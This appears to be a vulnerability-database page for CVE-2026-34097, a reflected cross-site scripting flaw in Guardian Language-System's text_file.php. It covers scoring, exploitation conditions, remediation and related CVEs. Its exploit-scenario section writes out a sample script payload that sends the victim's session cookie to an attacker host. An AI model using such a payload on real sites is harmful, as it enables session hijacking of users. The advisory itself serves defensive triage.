Skip to main content

Guardian Language-System CVE-2026-34097

| EUVDEUVD-2026-41053 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-07-01 VulnCheck GHSA-92fw-jg6p-568q
4.8
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Authenticate to Guardian Language-System instance
  2. Delivery
    Craft malicious URL with script payload in id parameter
  3. Exploit
    Deliver crafted URL to authenticated victim via phishing or internal message
  4. Install
    Victim navigates to text_file.php with injected id
  5. C2
    Browser reflects unsanitized id into form action attribute
  6. Execute
    Injected script executes in victim's browser session
  7. Impact
    Exfiltrate session cookie or perform unauthorized actions as victim

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the attacker to hold a valid authenticated session on the Guardian Language-System instance, as indicated by PR:L in the CVSS 4.0 vector - anonymous unauthenticated exploitation is not possible. A second prerequisite is that a separate authenticated victim user must actively follow the crafted URL (UI:A); passive exploitation without victim interaction is not viable for this reflected XSS pattern. The vulnerable attack surface is specifically the id GET parameter passed to text_file.php; no non-default configuration or special server-side feature flag is required - any standard deployment of the unpatched application exposing text_file.php is vulnerable. Exploitation is limited by: mandatory attacker authentication (eliminating external mass-exploitation), required victim interaction (reducing automated exploitation viability), and the need to target users of the same application instance.

Impact

The CVSS 4.0 score of 4.8 accurately reflects moderate real-world risk. The attack vector is network-based (AV:N) with low complexity (AC:L) but is gated by two meaningful prerequisites: attacker authentication (PR:L) and victim user interaction (UI:A), both of which materially reduce the attack surface. The CVSS 4.0 impact metrics show no direct vulnerable-system impact (VC:N/VI:N/VA:N) and only limited subsequent-system impact (SC:L/SI:L), consistent with session-level XSS consequences. There is no CISA KEV listing, so active in-the-wild exploitation is not confirmed. However, the publicly available POC on GitHub substantially lowers the exploitation barrier, making this more actionable for less-skilled attackers than the raw score implies. The wildcard CPE version range suggests all deployed versions are affected, with no patched release identified - meaning the exposure window is open-ended until a fix is issued. Organizations should not dismiss this as theoretical solely because of the moderate score; the combination of POC availability and no patch raises practical urgency.

Exploit ScenarioDerived

A publicly available POC exists at https://gist.github.com/cyberinforepo/d5b2771d82e1b31b8fc1c33052e08dad. An authenticated attacker logs into a Guardian Language-System instance, constructs a URL targeting text_file.php with a script-injecting id parameter value (e.g., id=><script>document.location='https://attacker.tld/?c='+document.cookie</script>), and delivers it to a second authenticated user via phishing email or internal messaging. When the victim follows the link while logged in, the injected script fires in their browser session, exfiltrating their session cookie or silently performing privileged actions on their behalf.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 01, 2026

Reflected XSS in Guardian Language-System's text_file.php allows an authenticated attacker to inject arbitrary script tags into at least six distinct form action attributes (lines 94, 101, 323, 403, 826, 852) by crafting a malicious URL with a payload in the id GET parameter. When a second authenticated victim is socially engineered into following the crafted link, the script executes within their browser session against the Guardian Language-System origin, enabling session token theft or unauthorized actions on the victim's behalf. A publicly available proof-of-concept exploit exists on GitHub; no CISA KEV listing has been identified, meaning active exploitation is not confirmed at time of analysis.

RemediationAI

No vendor-released patch has been identified at time of analysis; the CPE wildcard and absence of a fix version in any reference confirm this. The correct long-term fix is to apply htmlspecialchars($id, ENT_QUOTES, 'UTF-8') before reflecting the id parameter into any HTML attribute context in text_file.php. As an immediate compensating control, restrict access to text_file.php to the minimum required user roles via server-side ACLs (Apache .htaccess, nginx location blocks, or application-layer middleware) - this limits the pool of potential attackers but does not eliminate the flaw if privileged users are targeted. Deploying a WAF rule to block requests where the id parameter contains HTML metacharacters (quotes, angle brackets, script keywords) can reduce exploitation attempts, though WAF bypass is possible with encoding tricks. Monitor the VulnCheck advisory at https://www.vulncheck.com/advisories/guardian-language-system-xss-via-text-file-php-id-parameter and the POC gist at https://gist.github.com/cyberinforepo/d5b2771d82e1b31b8fc1c33052e08dad for patch or bypass developments.

Affected VersionsENISA

language-system 0 ≤e42c395ec4b03fe62973a669c9209a673838b8a4

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Guardian Language-System is a PHP web application identified by CPE cpe:2.3:a:guardian:language-system:*:*:*:*:*:*:*:*. The vulnerability is rooted in CWE-79 (Improper Neutralization of Input During Web Page Generation - Cross-site Scripting). Specifically, the application reflects the id GET parameter directly into HTML form action attributes in text_file.php without applying PHP output encoding functions such as htmlspecialchars() with ENT_QUOTES. Because the injection point is an HTML attribute value, an attacker can break out of the attribute context using quote characters and inject script tags or event handlers. The multiplicity of injection sites (at least six across the same file) suggests a systemic absence of output encoding rather than a single oversight, implying other parameters or files may carry similar risks.

Know when Guardian gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 4.8 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
vuln.today AI 5.4 MEDIUM

Requires authenticated attacker (PR:L) and victim interaction (UI:R); scope changes (S:C) as script executes in victim's browser; no availability impact applies.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
Active
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

DescriptionCVE.org

Guardian language-system fails to sanitize the id GET parameter before inserting it into multiple HTML form action attributes in text_file.php (lines 94, 101, 323, 403, 826, 852). An authenticated attacker can craft a URL that injects script tags executing in the victim's browser session.

Threat Intelligence Overview

EPSS Score
0.1%
Top 96% exploitable
Prevalence
Rare
niche PHP language management application, limited known enterprise adoption
Exploit
POC
Public exploit code exists
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC Yes
EPSS 0.1%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

44
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +24
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

CVE-2026-34107 CRITICAL POC
9.3 Jul 01

OS command injection in Guardian language-system lets unauthenticated remote attackers run arbitrary shell commands by i

CVE-2026-34106 CRITICAL POC
9.3 Jul 01

Remote code execution in Guardian language-system allows unauthenticated attackers to run arbitrary OS commands by injec

CVE-2026-34099 CRITICAL POC
9.3 Jul 01

Unauthenticated SQL injection in Guardian Language System lets remote attackers manipulate the backend database by injec

CVE-2026-34105 HIGH POC
8.7 Jul 01

Error-based SQL injection in Guardian Language-System allows a network-accessible authenticated attacker to extract the

CVE-2026-34104 HIGH POC
8.7 Jul 01

SQL injection in Guardian Language-System's designer.php (line 124) allows attackers to extract, modify, or destroy the

CVE-2026-34103 HIGH POC
8.7 Jul 01

Error-based SQL injection in Guardian language-system's subtitles.php exposes full database contents to low-privileged a

CVE-2026-34102 HIGH POC
8.7 Jul 01

Error-based SQL injection in Guardian Language-System exposes the full database to low-privileged authenticated attacker

CVE-2026-34101 HIGH POC
8.7 Jul 01

Error-based SQL injection in Guardian language-system's text_file.php exposes the full database to extraction via a triv

CVE-2026-34100 HIGH POC
8.7 Jul 01

SQL injection in Guardian language-system's media.php endpoint allows low-privilege authenticated attackers to extract t

CVE-2020-7049 HIGH POC
7.3 Jun 30

Nozomi Networks OS before 19.0.4 allows /#/network?tab=network_node_list.html CSV Injection. Rated high severity (CVSS 7

CVE-2020-15307 MEDIUM POC
6.1 Jun 30

Nozomi Guardian before 19.0.4 allows attackers to achieve stored XSS (in the web front end) by leveraging the ability to

CVE-2023-29245 CRITICAL
9.2 Sep 19

A SQL Injection vulnerability in Nozomi Networks Guardian and CMC, due to improper input validation in certain fields us

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy